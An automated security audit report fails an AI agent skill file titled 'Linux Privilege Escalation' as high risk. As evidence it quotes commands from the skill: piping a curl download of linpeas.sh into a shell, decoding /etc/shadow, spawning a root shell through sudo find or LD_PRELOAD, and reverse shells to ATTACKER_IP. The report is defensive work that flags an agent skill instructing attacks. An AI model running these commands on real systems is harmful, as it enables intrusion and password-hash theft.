Linux Privilege Escalation

Fail

Audited by Gen Agent Trust Hub on Apr 15, 2026

Risk Level: HIGHREMOTE_CODE_EXECUTIONEXTERNAL_DOWNLOADSDATA_EXFILTRATIONCOMMAND_EXECUTION
Full Analysis
  • [REMOTE_CODE_EXECUTION]: Executes remote scripts by piping curl output directly into a shell, which bypasses verification of the downloaded content.
  • Evidence: curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh in SKILL.md.
  • [DATA_EXFILTRATION]: Provides multiple methods for establishing reverse shells to external attacker-controlled IP addresses, enabling remote control and data theft.
  • Evidence: Bash, Python, Netcat, and Perl reverse shell one-liners using ATTACKER_IP in SKILL.md.
  • [DATA_EXFILTRATION]: Instructs the agent to read highly sensitive system files, including the shadow password file.
  • Evidence: Commands like base64 /etc/shadow | base64 -d used for harvesting password hashes in SKILL.md.
  • [EXTERNAL_DOWNLOADS]: Fetches various enumeration scripts and exploit source code from external GitHub repositories and user-defined attacker IPs.
  • Evidence: Use of wget and curl to download linpeas.sh, LinEnum.sh, and exploit.c from non-whitelisted sources in SKILL.md.
  • [COMMAND_EXECUTION]: Employs techniques to execute arbitrary system commands with root privileges through sudo misconfigurations, SUID binaries, and shared library injection.
  • Evidence: Use of sudo find . -exec /bin/sh \;, sudo LD_PRELOAD=/tmp/shell.so find, and SUID exploitation patterns in SKILL.md.
Recommendations
  • HIGH: Downloads and executes remote code from: https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh - DO NOT USE without thorough review
  • AI detected serious security threats
Audit Metadata
Risk Level
HIGH
Analyzed
Apr 15, 2026, 06:10 PM
Security Audit — agent-trust-hub — Linux Privilege Escalation